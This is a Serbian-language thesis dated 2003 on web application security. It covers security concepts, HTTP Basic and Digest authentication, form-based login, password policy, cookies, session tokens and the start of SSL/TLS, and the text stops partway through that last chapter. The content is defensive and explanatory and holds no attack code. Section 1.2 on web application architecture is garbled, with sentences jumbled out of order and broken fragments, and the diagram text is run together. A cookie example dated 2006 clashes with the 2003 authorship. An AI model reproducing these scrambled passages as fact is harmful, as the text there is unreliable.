BEZBEDNOST WEB APLIKACIJA

Autor: Stevan Džigurski

Novi Sad, 2003.

SADRŽAJ
1. UVOD...........................................................................................................................................................4 1.1. OSNOVNI BEZBEDNOSNI KONCEPTI................................................................................................................5 1.2. WEB APLIKACIJE.......................................................................................................................................6 1.3. HTTP I BEZBEDNOST WEB APLIKACIJA........................................................................................................7 2. AUTENTIFIKACIJA.................................................................................................................................8 2.1. KORISNIČKA AUTENTIFIKACIJA.....................................................................................................................8 2.1.1. HTTP Basic...................................................................................................................................8 2.1.2. HTTP Digest.................................................................................................................................9 2.1.3. Autentifikacija na osnovu formi..................................................................................................10 2.1.4. Digitalni sertifikati (SSL i TLS)..................................................................................................11 2.2. ENTITETSKA AUTENTIFIKACIJA....................................................................................................................11 2.2.1. Autentifikacija infrastrukture......................................................................................................11 2.3. SISTEMI AUTENTIFIKACIJE ZASNOVANI NA LOZINKAMA....................................................................................12 3. UPRAVLJANJE KORISNIČKIM SESIJAMA.....................................................................................14 3.1. COOKIES................................................................................................................................................14 3.2. SESIJSKI TOKENI (SESSION TOKENS)...........................................................................................................15 3.3. SSL I TLS ...........................................................................................................................................16 3.3.1. Kako SSL i TLS rade?.................................................................................................................17 3.3.2. SSL pregovaranje sa autentifikacijom samo servera .................................................................17 3.3.3. SSL sa klijentskom i serverskom autentifikacijom......................................................................18 4. KONTROLA PRISTUPA I AUTORIZACIJA.......................................................................................19 4.1. DISKRETNA KONTROLA PRISTUPA................................................................................................................19 4.2. OBAVEZNA (MANDATORY) KONTROLA PRISTUPA ..........................................................................................20 4.3. KONTROLA PRISTUPA ZASNOVANA NA ULOGAMA (RBAC).............................................................................20 5. PRAĆENJE RADA - EVENT LOGGING.............................................................................................22 5.1. ŠTA UNETI U LOG ZAPIS............................................................................................................................22 5.2. OBRADA LOG ZAPISA................................................................................................................................23 6. VALIDACIJA PODATAKA.....................................................................................................................24 6.1. STRATEGIJE VALIDACIJE.............................................................................................................................24 6.1.1. Prihvati samo poznate validne podatke......................................................................................24 6.1.2. Odbaci podatke za koje se zna da nisu validni...........................................................................25 6.1.3. Saniraj sve podatke.....................................................................................................................25 6.2. NIKADA SE NE OSLANJATI NA VALIDACIJU PODATAKA SA STRANE KLIJENTA........................................................25 7. BEZBEDNOSNI PROBLEMI PRI RADU WEB APLIKACIJA........................................................26 7.1. NAPADI NA KORISNIKE..............................................................................................................................26 7.1.1. Cross-site scripting.....................................................................................................................26 7.2. NAPADI NA SISTEM...................................................................................................................................28 7.2.1. Direktne SQL naredbe................................................................................................................28 7.2.2. Direktne OS naredbe...................................................................................................................30 7.2.3. Otkrivanje putanje dokumenta....................................................................................................31 7.2.4. Uključivanje udaljenih datoteka.................................................................................................31 7.2.5. Nulti bajtovi................................................................................................................................32 7.2.6. URL kodiranje.............................................................................................................................33 7.3. MANIPULACIJA PARAMETRIMA....................................................................................................................35 7.3.1. Manipulacija Cookie-a...............................................................................................................35

2

7.3.2. Manipulacija HTTP zaglavljima................................................................................................36 7.3.3. Manipulacija poljima HTML formi............................................................................................37 7.3.4. URL manipulacija.......................................................................................................................38 7.4. OSTALI NAČINI MANIPULACIJE....................................................................................................................40 7.4.1. Konfiguracija sistema.................................................................................................................40 7.4.2. Komentari u HTML.....................................................................................................................40 7.4.3. Stari, bekapovani i fajlovi bez reference.....................................................................................41 7.4.4. Debug naredbe............................................................................................................................42 7.4.5. Default (inicijalni) nalozi...........................................................................................................43 8. PROBLEMI PRIVATNOSTI...................................................................................................................44 8.1. OPASNOSTI PRI UPOTREBI JAVNIH WEB BROWSER-A.......................................................................................44 8.2. UPOTREBA LIČNIH PODATAKA.....................................................................................................................44 8.3. OPCIJA «BROWSER HISTORY»...................................................................................................................44 9. ZAKLJUČAK..........................................................................................................................................45 10. LITERATURA.......................................................................................................................................46 REČNIK.......................................................................................................................................................47

3

1.UVOD
Ekspanzija popularnosti Interneta koja se odigrala u prethodnoj deceniji, kao i promovisanje Web browsera kao platforme za distribuciju aplikacija, doveli su do toga da razvoj Web aplikacija predstavlja oblast u kojoj se računari danas najviše koriste. Web bezbednošću se oduvek bavila mala grupa ljudi koja se obicno fokusirala na bezbednost mreža i operativnih sistema. Pojavom sve složenijih Web aplikacija i Web servisa kao i činjenica da se na njima nalazi velika količina poverljivih informacija povlači sa sobom veliku odgovornost programera koji ih kreiraju. Rad se sastoji iz više celina. U prvom poglavlju predstavljeni su osnovni bezbednosni koncepti, pojmovi Web aplikacija i Web servis, kao i mesto i uloga HTTP protokola u bezbednosti Web aplikacija. Tema drugog poglavlja je autentifikacija kao najosetljiviji deo Web aplikacije. Predstavljeni su tipovi autentifikacije, načini na koji funkcionišu, kao i prednosti i mane svakog. Naredno poglavlje se odnosi na mehanizme upravljanja korisničkim sesijama, bez kojih se ne može zamisliti ni jedna Web aplikacija. Naredna tri poglavlja se odnose na kontrolu pristupa i autorizaciju, praćenje rada (logging), i validaciju podataka. U poglavlju «Bezbednosni problemi Web aplikacija» opisani su načini na koji se vrše «napadi» na Web aplikaciju, kao i rešenja za njihovo sprečavanje ili ublažavanje. Osmo poglavlje diplomskog rada bavi se privatnošću korisnika Web aplikacija. U poslednjem poglavlju ovog rada prikazana je konkretna realizacija intranet Web aplikacije namenjena timskom radu na projektima, uz osvrt na prethodno izloženu metodologiju.

4

1.1.Osnovni bezbednosni koncepti
Osnovni bezbednosni koncepti koji su važni za informacije na Internetu su raspoloživost, integritet i poverljivost. Raspoloživost se primarno definiše kao mogućnost sistema da pruži uslugu ovlašćenom korisniku. Ovlašćeni korisnici su korisnici kojima su namenjene usluge sistema kako je naznačeno u njegovoj specifikaciji. Svi ostali korisnici osim ovlaštenih korisnika smatraju se neovlaštenim korisnicima. Bezbednost informacija

Poverljivost prevencija neovlašćenog otkrivanja informacija

Integritet prevencija neovlašćene modifikacije informacija

Raspoloživost prevencija neovlašćenog zadržavanja informacija

Integritet predstavlja prevenciju neovlašćene modifikacije, brisanja ili uništavanja elemenata sistema. Integritet je narušen u slučaju napada, koji obično izvršavaju neovlašćeni korisnici, ali koji takođe može izvršiti i ovlašćeni korisnici koji zloupotrebljavaju svoja ovlašćenja. Zbog toga integritet karakteriše mogućnost sistema da se odupre napadima. Poverljivost je mogućnost sistema da onemogući neovlašćenim korisnicima pristup poverljivim informacijama. U stvarnosti time se definiše do koje mere neka informacija treba da je dostupna, odnosno nedostupna neovlašćenim korisnicima. Poverljivost se takođe može posmatrati u širem smislu, odnosno kao prevencija pružanja usluge neovlašćenim korisnicima, čak i ako pružanje takve usluge ne bi značilo štetu za ovlašćene korisnike ili otkrivanje tajnih informacija. Bezbednosni koncepti koji se odnose na osobe koje koriste informacije su autentifikacija, autorizacija i neporecivost. Da bi učinili informaciju dostupnom onome kome je potrebna i kome se može verovati koriste se autentifikacija i autorizacija. Autentifikacija je proces utvrđivanja da li je korisnik, odnosno entitet, ono što tvrdi da jeste. Autorizacija podrazumeva proveru da li određeni korisnik (ili sistem) ima dozvolu da vrši određenu akciju, pod pretpostavkom da se prethodno autentifikovao. Neporecivost je mogućnost sistema da onemogući korisniku poricanje prethodno izvršene akcije.

5

prodaju u realnom vremenu. pravljene sa CGI (Common Gateway Interface). Web servisi za iznajmljivanje automobila i avio prevoz su primeri. Tradicionalno jednostavne aplikacije.Web aplikacije Web aplikacije imaju klijent/server arhitekturu koja omogućuje interakciju sa korisnicima ili drugim sistemima koristeći HTTP protokol. a Web browser ih «slaže» u čitljivu formu koju korisnik može da interpretira.NET servisi ili PHP. Web servisi predstavljaju kolekciju funkcija koje su upakovane kao celina i publikovane na mrežu za upotrebu od strane drugih programa. obradu ulaznih podataka. Java. On takodje može uključiti komponente aplikacije koje kreiraju izgled stranice. Nivo prezentacije Aplikacioni nivo Nivo podataka Nivo prezentacije je odgovoran za prezentovanje podataka ka krajnjem korisniku ili sistemu. B2B i B2C. Funkcije koje se izvode mogu biti jednostavni zadaci kao pretraga lokalnog direktorijuma do visoko sofisticiranih aplikacija koje vrše npr. Web servisi su namenjeni za kreiranje otvorenih distributivnih sistema koji omogućavaju kompanijama i individualnim korisnicima da brzo i jeftino učine da svoje informacije dostupnim širom svetske mreže. On omogućava realizaciju poslovne logike. Web servisi se zasnivaju na XML-u (extensible Markup Language) i SOAP-u (Simple Object Access Protocol). Nivo aplikacije može uključiti tehnologije kao što su: CGI. klijent je najčešće Web browser kao što je Internet Explorer ili Netscape Navigator. Krajni korisnik vidi Web stranice i on je sposoban da vrši interakciju slanjem izbora. Za korisnike.2. Tehnologije koja omogućavaju rad Web aplikacija veoma se brzo razvijaju. Apache i MS IIS. Ovaj nivo prezentacije uključuje Web servere kao što su npr. Jedan Web servis može koristiti drugi da napravi bolje karakteristike za krajnjeg korisnika. Savremeni sistemi skladište podatke u XML formatu radi lakše komunikacije sa drugim sistema. upotreba više podataka i prezentovanje istih do nivoa prezentacije za slanje korisniku. Web server pruža podatke. To takodje dopušta korisniku da odgovori slanjem povratnih parametara koje Web server propušta kroz aplikaciju.1. Aplikacioni nivo je pokretač Web aplikacije. obično su pokretane na Web serveru povezane na jednostavnije baze podataka ( takodje na istom serveru).. donošenje odluka.. Nivo podataka se koristi za skladištenje podataka potrebnih za aplikaciju i odgovoran je za privremene i stalne podatke. Moderne aplikacije su tipično napisane u Javi (ili sličnim jezicima ) i pokretane na aplikacionim serverima povezane sa više baza podataka. . 6 .

koji omogućavaju da se kroz samo jedan port provuku razni formati dokumenata. osnovni protokol na mreži je HTTP protokol. HTTP server interpretira zahtev i šalje odgovarajući odgovor klijentu. Protokol radi na aplikacionom nivou. bez ikakvih prepreka prolaze kroz firewall-ove zato što su oni deo legalnog HTTP zahteva. Napadi zlonamernih korisnika koji se nalaze u tim zahtevima.1. Završni udarac su dali Web servisi (REST. 7 .HTTP i bezbednost Web aplikacija Sa tehničke strane.3. korisnici šalju HTTP zahteve za određene stranice. Njegova jednostavnost načinila ga je vrlo popularnim. HTTP klijent Aplikacioni nivoNivo prezentacij eNivo sesijeTrans portni nivoMrežni nivoNivo podatakaFiz ički nivo HTTP server Aplikacioni nivoNivo prezentacij eNivo sesijeTrans portni nivoMrežni nivoNivo podatakaFiz ički nivo HTTP zahtev predstavljen preko OSI referentnog modela Kada je Web aplikacija postavljena na Web server. Klijent šalje zahtev HTTP serveru. XML i SOAP).

sesijski token (session token) je postavljen u korisnikov browser. a da izbegnemo ponavljanje korisničke autentifikacije. HTTP klijent. Razmotrimo situaciju kada korisnik pristupa stranicama za administraciju jednog elektronskog trgovinskog sajta. dok se entitetska autentifikacija vrši prilikom svakog zahteva. Često dolazi do zabune šta je autentifikacija. npr. Web server vraća klijentu HTTP 401 statusni kod: HTTP/1. To omogućava browseru da pošalje sesijski token svaki put kada je upućen novi zahtev. 8 . 2. odnosno entitet.Korisnička autentifikacija 2. Postoje dva tipa autentifikacije: •Korisnička autentifikacija je proces određivanja da li je korisnik ono što tvrdi da jeste.1. a šta je upravljanje sesijama (session management). u suprotnom šalje odgovor 401 neautorizovanog pristupa da obavesti klijenta da je autentifikacija propala. Posle uspešno obavljene korisničke autentifikacije sistem vrši entitetsku autentifikaciju koja je potrebna u slucaju da želimo da pređemo na neku drugu stranicu.1. skladišten u cookie. Korisnička autentifikacija se vrši samo jednom u toku sesije. ono što tvrdi da jeste.1.HTTP Basic HTTP protokol definiše jednostavan okvir za autentifikaciju. Postoji više načina za obavljanje korisničke autentifikacije preko HTTP-a. Najjednostavniji metod je HTTP Basic autentifikacija. Web browser šalje zahtev serveru za pristup zaštićenim stranicama.1 401 Authorization Required Zatim klijent šalje drugi zahtev ovaj put uključujući Authenticate header koji sadrži njegove akreditive za serverov upit.AUTENTIFIKACIJA Autentifikacija je proces utvrđivanja da li je korisnik.2. Korisnici su obično autentifikovani sa korisničkim imenom i lozinkom ili sličnim mehanizmom. •Entitetska autentifikacija je proces određivanja da li je entitet (sesijski token) ono što tvrdi da jeste. Ako server prihvati akreditive klijenta poslaće traženu stranicu. što predstavlja entitetsku autentifikaciju. Kada je prvi put uspešno izvršena autentifikacija.

2. Mehanizam HTTP Digest autentifikacije razvijen je da omogući generalnu upotrebu. HTTP Basic autentifikacija je nesiguran metod filtriranja neautorizovanog pristupa resursima na HTTP serveru. Kao što je već rečeno.1 specificira unapređenu digest šemu. U slučaja da se sa zahtevom ne šalju jedinstveni podaci napadač bi bio u mogućnosti da jednostavno ponovi digest. koje zahteva eskplicitnu autetifikaciju se dodaje.Izračunava se MD5 hash funkcija od “A2”.neautorizovani pristup. što pri upotrebi jednog Web browser-a od strane više korisnika stvara problem. -obostranu autentifikaciju. ova autentifikacija ima problem da ne postoji mehanizam za “logout”. Ovako izgleda izračunavanje: 1. 4. 3. a unapređena je za HTTP 1.HTTP Digest Postoje dve forme HTTP Digest autentifikacije koje su napravljene da spreče problem presretanja korisničkog imena i lozinke.1. Proces autentifikacije počinje sa odgovorom 401 . GET:/index. Svrha HTTP Digest autentifikacione šeme je da omogući korisnicima da dokažu svoje korisničko ime i lozinku bez otkrivanja aktuelne lozinke.Spajaju se A1 i A2 sa dvotačkama.2.string “A1” se sastoji od korisničkog imena. HTTP 1. kao i kod HTTP Basic autentifikacije. jednostavnu implementaciju i autentifikacioni mehanizam koji se može koristiti preko kanala koji nisu kriptovani. oblasti i lozinke koji su spojeni dvotačkama : owasp:users@owasp.org:password. Originalna specifikacija je razvijena kao jedna ekstenzija za HTTP 1. 2.HTTP Basic autentifikacija se zasniva na modelu da se korisnik mora autentifikovati sa korisničkim imenom i lozinkom (koji se obično unose u dialog box) za svaki domen. Važan deo pri sprovođenju autentifikacije je slanje dodatnih podataka.String “A2” se sastoji od HTTP metoda i URI-a (npr. HTTP Digest mehanizam koristi MD5 hash algoritam. -integritet zaštite. 5.0.Izračunava se MD5 hash funkcija ovakvog stringa.1. Ona je bazirana na pretpostavci da je veza između klijenta i servera sigurna. koja pruža dodatno zaštitu za: -napade ponavljanjem. Takođe. 6. 9 .Izračunava se MD5 hash ovih stringova (128 bitni heksadecimalni izlaz). Zagljavlje WWW-Authenticate header. nakon čega se generiše dodatni parametar nonce i izračunava digest.php). kriptovani base64 metodom. Oni se šalju serveru odvojeni karakterom “:”.

Ovo omogućava projektantima da predstave zahtev za korisničkim podacima (korisničko ime i lozinka) kao normalni deo aplikacije sa svim HTML mogućnostima koje se odnose na internacionalizaciju i pristupačnost. Ovaj osmocifreni broj u heksadecimalnoj predstavi se uvećava svaki put kada klijent podnese zahtev sa istim nonce-om. Ovo proizilazi iz toga što napadač može da ponovi tačno izračunati digest za isti resurs. te da pošalje isti zahtev serveru. Druga poboljšanja HTTP 1. 10 . detaljniji pregled će biti dat u daljem tekstu. Server mora da proveri da li je NC veći od poslednje primljene NC vrednosti koju je primio. Isto tako. 2. ako aplikacija dopusti (kroz neki bezbednosni propust) drugom korisniku da vidi stranicu sa prethodno popunjenom lozinkom za nalog drugog korisnika. forme podnete upotrebom HTTP GET ili HTTP POST zahteva. što klijentima omogućuje da autetifikuje servere. Poboljšana digest šema u HTTP 1. kao i dva polja za unos i potvrdu nove lozinke.Digest šema u HTTP 1. U većini slučajeva stranica za izmenu lozinke treba da se nalazi odvojeno od ostalih podataka vezanih za korisnički profil. Korisnik koji se vraća na prethodno korišćenu aplikaciju može želeti da potvrdi informacije o svom profilu.1.1 uključuje NC parametar ili brojanje nonce-a u autorizaciono zaglavlje. Korisnici mogu nepažnjom da ostave prethodno popunjenu formu na ekranu dopuštajući pri tome. Polja sa lozinkama aplikacija nikada ne treba da popunjava. podatke (korisničko ime i lozinku) prenose u vidu običnog teksta.0 je osetljiva na napade ponavljanjem. “View Source” će ponovo otkriti lozinku u vidu običnog teksta.Autentifikacija na osnovu formi Umesto oslanjanja na autentifikaciju na nivou protokola. Od suštinske važnosti je da se forme autetifikacije podnose upotrebom HTTP POST zahteva. te da ne uvaži ponovljene zahteve. kao i serverima da autentifikuje klijente. Ovakav pristup ima dve prednosti. Uobičajena šema u Web aplikacijama je da se korisniku prethodno popune polja kad god je to moguće. Većina aplikacija će prethodno popuniti formu sa trenutno važećim podacima i zahtevati od korisnika da izmeni podatke koji su netačni.1 šeme su integritet zaštite i obostrana autentifikacija. Primedba: autentifikacija zasnovana na formama zahteva od projektanata sistema da izgrade autentifikacioni protokol koji će se nositi sa istim problemima koji se pravazilaze upotrebom HTTP digest-a. Najbolji pristup je da se ostavi prazno polje za lozinku i da se od korisnika zahteva da potvrdi trenutnu lozinku.3. HTTP GET zahtev se pojavljuje u history-u korisnikovog browsera. nekome sa fizičkim pristupom računaru. Web bazirane aplikacije koriste kod sadržan u samim Web stranicama. da otkrije lozinku. tako da korisničko ime i lozinka mogu biti vidljivi i ostalim korisnicima istog browsera. Projektanti moraju obratiti pažnju na sledeće: ukoliko nije upotrebljen SSL.

Entitetska autentifikacija Upotreba cookie-a Cookie-ji se često koriste za autentifikaciju korisničkog browser-a. te ga zbog toga ne bi trebalo koristiti za autentifikaciju. OpenPGP Alliance predstavlja grupe koje koriste OpenPGP standard (RFC 2440). ova metoda bi trebalo da se koristi jedino za brzu i letimičnu proveru. IP adrese ili DNS nazivi su naizgled načini za autentifikaciju. Većina Web sajtova radi isključivo sa autentifikacijom na serverskoj strani. 2. Digitalni sertifikati su mehanizmi za autentifikaciju sistema.1. ovakvo zaglavlje stvara korisnikov browser. Ovakav način na prvi pogled može da se učini zgodnim za proveru da li korisnik pratio korake u određenoj aplikaciji ili je URL dobio sa poverljivog domena (trusted domain).2. Prevara sa IP adresama 11 . 2. Detaljni opisi mehanizama mogu se naći u SSL i TLS delovima ovog rada.Autentifikacija infrastrukture DNS nazivi Česte su situacije u kojima aplikacija treba da autentifikuje druge servere ili aplikacije. tako da korisnik može da menja ovo zaglavlje. serversku ili obostranu autetifikaciju entiteta. tako da je potrebno postaviti i šemu za distribuciju sertifikata. Još jedan raširen kriptografski protokol za poruke je PGP. Najšire prihvaćen je X509 v3 sertifikat International Telecommunication Union-a (pogledati RFC 2459). Digitalni sertifikati se najviše koriste u Web sistemima pri konektovanju na bezbedne (secure) Web sajtove (SSL).4. Međutim usled specičfinih nedostataka vezanih za bezbednost DNS-a. čak i ako je autentifikacija na strani klijenta moguća. kao deo mehanizma za upravljanje sesijama.2.1. a pored toga predstavlaju i mehanizam za distribuciju ključeva u kriptografskim razmenama (uključujući i autentifikaciju po potrebi). Razni formati sertifikata nalaze se u upotrebi. Ova tematika je detaljnije opisana u delu koji se odnosi na upravljanje sesijama.Digitalni sertifikati (SSL i TLS) SSL (Secure Socket Layer) i TLS (Transport Layer Security) mogu da obezbede klijentsku. Napomena o referer zaglavlju: Referer zaglavlje se šalje sa HTTP zahtevom klijenta da bi se utvrdilo na koj način je klijent došao do URL-a tražene stranice. Za sisteme visoke bezbednosti autentifikacija na klijentskoj strani je neophodna. Međutim. Iako su delovi komercijalnog PGP-a svojinski zaštićeni.2.

pri čemu jedan alfanumerik. Za jaču autentifikaciju treba upotrebiti X. umesto gethostbyname(). svaka sa svojim prednostima i manama. Mehanizme sprečavanja nagađanja lozinke trebalo bi postaviti tako da blokiraju nalog u slučaju kada broj pokušaja logovanja pređe neku unapred zadatu vrednost. Dobru lozinku je nemoguće pogoditi. Vrlo je verovatno da će pogoditi. Korisnička imena Iako korisnička imena sama po sebi nisu zahtevna sa aspekta bezbednosti nije loše uvesti neka ograničenja za korisnička imena. kao na primer. Ime koje je na neki način izvedeno od korisnikovog ličnog imena može napadaču da nagovesti o kome se radi i sl.. U Web aplikacijama posebnu pažnju treba posvetiti metakarakterima. Ovakvi mehanizmi. međutim imaju nedostatke. Usled različitih zahteva koje šema održavanja lozinki treba da zadovolji. Ovakav pristup se još uvek primenjuje kod Web aplikacija koje koriste ugrađena skladišta podataka u operativnom sistemu. Druga korisnička imena. U opštem slučaju trebalo bi koristiti gethostbyaddr() . Skladištenje korisnčkih imena i lozinki Svaki sistem mora da sadrži skladište sa korisničkim imenima i odgovarajućim lozinkama koje će se koristiti u procesu autentifikacije.509 sertifikat ili implementirati SSL. tako da bi projektanti trebalo to da imaju na umu. Kao i uvek.Sistemi autentifikacije zasnovani na lozinkama Korisnička imena i lozinke su danas najčešći način autentifikacije. Ovakva skladišta moraju biti bezbedna. Deosta je česta tehnika da se nad lozinkama koriste hash fukcije (kao što je SHA-1). upotreba malih i velikih slova.3.Prevare sa IP adresama moguće su pod određenim okolnostima. te se samo donekle može ublažiti tehničkim sredstvima. Lozinke ne bi trebalo da budu dostupne administratorskim korisnicima na uvid. jedan specijalan karakter (a da nije u A-Z ili 0-9). Tipična lozinka ima najmanje osam karaktera. Preporučljiv broj pokušaja logovanja je pet. logična strategija je da se korisnički nalozi zaključaju na 12 . 2. Zaključavanje lozinki Ako se napadaču ne spreči. Moguće je da napadač pokuša da pogodi veći broj slučajno izabranih lozinki na poznatim nalozima te tako zaključa ceo sistem korisnika. Ovo je najviše zbog ljudskog faktora. on lozinke nagađa veći broj puta. Kako sistem zaključavanja lozinki treba da štiti od napada. broj socijalnog ili poreski broj mogu imati i zakonske posledice. sistemi za implementaciju autentifikacije bi trebalo da procenjuju rizik i prednosti za svaki od mogućih modela pretnje. U daljem tekstu su data različita rešenja. Email adrese nisu dobra korisnička imena iz razloga opisanih u daljem tekstu. kao što je Windows NT. Sprovođenje kvaliteta lozinki Pojam kvaliteta lozinke se odnosi na entropiju lozinke i od presudne je važnosti za bezbednost korisničkih naloga. lozinke su često najslabija karika u arhitekturi autentifikacije.

ali nikada oba zajedno. Potrebno je obratiti pažnju da se u okviru iste sesije nikada ne podnose na potvrdu zajedno pitanja i odgovori. Oni omogućavaju korisniku da resetuje svoju lozinku odmah bez pozivanja administratora. a ne da koristi ista pitanja za sve korisnike. Na ovaj način napadač će se značajno usporiti. Na ovakav način stepen entropije se znatno uvećava. dok će pravim korisnicima pristup biti i dalje omogućen.nekoliko sati. Jedna je da se definiše skup pitanja koja se postavljaju nekome ko tvrdi da je korisnik. Starenje i istorija lozinki Rotacija lozinki je u opštem slučaju dobra stvar. Naravno ako se od naloga koji već “provaljen” zatraži da obnovi svoju lozinku sve prednosti nestaju. Ova pitanja bi trebalo da budu u slobodnoj formi. Ovo dovodi do izlaganja korisničkog naloga riziku u slučajevima kada je lozinku potrebno promeniti korisniku koji ne može da se autentifikuje. lozinke bi trebalo da se promene prvi put kada se novi korisnik loguje sa promenjenom lozinkom. Ovo daje lozinkama odgovarajući životni vek. Sistem za resetovanje lozinki Sistemi za resetovanje lozinki su u širokoj upotrebi. Na primer za vreme registracije klijentu se može slati ili pitanje ili odgovor. U slučaju kada sistem koristi email adrese za dostavljanje novih lozinki korisnicima. 13 . Aplikacija treba korisniku da dozvoli da izabere skup svojih pitanja i odgovora. Postoji nekoliko strategija kojima se ovo izvodi.

3. bez obzira na korišćene transportne mehanizme. Postoje dve kategorije cookie-a: sigurne ili nesigurne.1. odnosno od načina na koji primenjuje cookie mehanizam. Cookie-ji nisu dizajnirani da čuvaju korisničko ime i lozinku ili bilo koju osetljivu informaciju. Uništavaju se kada se browser isljuči ili eksplicitno kada se pokrene log-off skript. Dok nesigurni cookie-ji mogu biti poslati i preko HTTP-a i preko HTTPS-a. može se prenositi i preko statičnog URL-a. Trajni cookie-ji su smešteni u tekst dokumentu na strani klijenta i traju do isteka roka (expiry date) koji je postavljen. dajući četiri posebna tipa cookie-a: •trajne i sigurne. token sesije (session token) se prenosi između HTTP servera i klijenta. a u ostalim vremenskim periodima je nema.UPRAVLJANJE KORISNIČKIM SESIJAMA HTTP je protokol bez održavanja stanja (stateless). Cookie-ji ne mogu biti čitani niti upisivani preko nekog drugog 14 . Primenom mehanizma stanja omogućeno je da višestruki korisnički zahtevi budu međusobno povezani preko “sesije”. Većina mehanizma stanja. stepen bezbednosti sistema će zavisiti od samog Web programera. Dok postoji preferirani cookie mehanizam (RFC 2965) za izgrdnju sistema zasnovanih na korisničkim sesijama. Veoma je bitno korektno ih koristiti. trajne ili privremene.Cookies Često ospravan mehanizam koji je neophodan za primenu mnogih komercijalnih Web aplikacija (online banking i e-commerce). Cookie-ji mogu biti poslati korišćenjem dva glavna metoda. Za svaki podatak poslat klijentu smatra se da je pod kontrolom krajnjeg korisnika. On je najčešće smešten u cookie. •privremene i sigurne. Cookie-ji su razvijeni od strane Neatscape-a. preko HTTP zaglavlja i JavaScript-om. jer se konekcija klijenta i servera uspostavlja prilikom upućivanja klijentovog HTTP zahteva i dobijanja odgovora od servera. Sposobnost razdvajanja i prepoznavanja akcija korisnika za određene sesije je kritična za Web sigurnost. Naziv “sigurni” često dovodi do zablude. kao što može biti sakriven u HTML kodu Web stranice ili u kombinaciji ovih metoda. Sigurni cookie-ji mogu biti poslati samo preko HTTPS (SSL). Privremeni cookie-ji su smešteni u RAM-memoriji na strani klijenta. •privremene i nesigurne. a sada su specificirani u RFC 2965.3. •trajne i nesigurne. jer on obezbeđuje sigurnost transporta.

nepredvidivi i otporni na inverzno projektovanje. Ime: ime varijable. jula 2006. u ovom slučaju Apache. Dakle.16 018996349247 480 Kolone ove tabele ilustruju šest parametara koji se skladište u cookie. Atribut / nam govori da se putanja odnosi na ceo sajt. 15 . sesijski tokeni treba da budu vezani na neki način za specifičnog HTTP klijenta da spreče upade i replay napade.). Istek roka: predstavlja Unix-ovo vreme trajanja varijable.151. Unix-ovo vreme je definisano kao broj sekundi od 00:00:00 GMT Jan 1.Sesijski tokeni (Session Tokens) Svi sesijski tokeni (nezavisno od mehanizma stanja) moriju biti jedinstveni. ali postoji dosta slabih tačaka u popularnim Web klijentima koji to dozvoljavaju.com/reference . 3.redhat.151. Izostavljanje ovog parametra browser će tretirati tako što će cookie smestiti u RAM i izbrisati je kada se browser isljuči. itd. Sesijski token treba da koristi pouzdan izvor slučajnih karaktera (kao što su generator pseudoslučajnih brojeva. Dodatno. adresu i slično. Posle toga svi zahtevi za taj URL od strane browsera sadržaće cookie informaciju kao dodatno zaglavlje u zahtevu. Domen: domen Web sajta koji je kreirao i koji može da čita promenjivu. Ako je sve korektno klijent pri komunikaciji sa domenom A ne može čitati cookie-je domena B. a putanja je /reference. Za jedan domen maksimum cookie-a je 20. Tipičan cookie koji skladišti sesijski token (session token) izgleda ovako: Domen www. Putanja: ovaj atribut ograničava vidljivost pojedinih direktorijuma na Web serveru. lozinku. To zaglavlje govori klijentu da doda te informacije u klijentov cookie dokument ili smesti tu informaciju u RAM. EGADS. Sigurnost: vrednost TRUE/FALSE se odnosi na to da li je SSL konekcija potrebna za dati domen da se pristupi datoj varijabli.redhat. Ako imamo stranicu http://www. vrednost cookie imena Apache je 64.3.3. server odgovara na zahtev sa dodatnim zaglavljem. za veću sigurnost.DNS domena.40. Yarrow. 1970. korisničko ime.com. a maksimalna veličina je 4kb.16018996349247480 i biće uništena 27.com Putanja / Sigurnost FALSE Istek vremena Ime 1154029490 Apache Vrednost 64. Generalno algoritmi sesijskih tokena ne bi trebalo da koriste promenljive koje sadrže korisnikove personalne informacije kao npr.40. cookie će biti poslat samo za stranice iz direktorijuma /reference.redhat.2. za Web sajt čiji je domen http://www. Ako se cookie-ji šalju HTTP-om.

IETF (Internet Engeeniring Task Force) je preuzeo odgovornost za razvoj i unapređenje SSL-a i preimenovao ga u TLS (Transport Layer Security). Prva verzija TLS-a. HTTP server privremeno zatvori korisnički nalog ili zabrani pristup sa te IP adrese). Browser uništava session cookie samo po završetku njegovog rada. Sesijski tokeni kod kojih ne dolazi do isteka roka validnosti na HTTP serveru mogu omogućiti eventualnom napadaču da pogodi ili brutalno napadne validni autentifikacioni sesijski token. To su: •autentifikacija. Kritične akcije koje vrši korisnik kao što su transfer novca ili značajne narudžbine trebalo bi da zahtevaju od korisnika reautentifikaciju ili generisanje novog sesijskog tokena pre obavljanja važne akcije. Ključevi tokena moraju biti dovoljno veliki da spreče ovakve brutalne napade. Napadači mogu jednostavno korišćenjem automatskih skriptova “proći kroz” sve mogućnosti. 3. Jedan primer je opcija “Zapamti me” na mnogim manjim e-komerc sajtovima. i kao takav on se ugrađuje u sve komercijalne Web browsere i Web servere. Napadač može pokušavati stotinama ili hiljadama puta da proba različite tokene da pošalje preko URL-a ili cookie-a bez ograničenja servera. Kako je prvobitna verzija SSL-a tehnički bila vlasništvo Netscape-a. •poverljivost. Sa popularnošću internet kioska i deljivih računarskih okruženja. Takodje je neophodno da u aplikaciji postoji opcija logout. sesijski tokeni se izlažu novom riziku. tada napadač može koristiti token sesije da dodje do tog korisničkog naloga.1.3. tokeni sesije mogu biti keširani ili upisani u log listu na proxy serveru. Da bi sprečili presretanja i brutalne napade na sesije HTTP server može uništavati i regenerisati tokene i time dati napadaču manje vremena da ponovo iskoristi legitiman token. •integritet podataka. SSL pruža tri bezbednosne usluge pri transportu podataka. Velik broj Web sajtova zabranjuju ponovno neobuzdano nagađanje lozinke (npr. 16 . ali imajući na umu izračunavanje algoritama i smanjenje širine propusnog opsega dužina ključeva će biti smanjena. Dodatno. Neophodno je da se sesijski tokeni unište kada korisnik napušta aplikaciju. sadrži samo neznatne izmene u odnosu na originalni SSL. Ako je uhvaćen cookie nekog korisnika.SSL i TLS Secure Socket Layer (SSL) protokol je projektovan od strane Netscape-a. verzija 3. SSL je najšire upotrebljavan bezbednosni protokol. u okviru Netscape Communicator browsera. koji ako im vreme isteka na HTTP serveru ne istekne mogu bi takođe iskorišćeni od strane napadača.Sesijski tokeni koji koriste najjače kriptografske algoritme mogu biti razbijeni ako dužina ključa nije dovoljno velika.

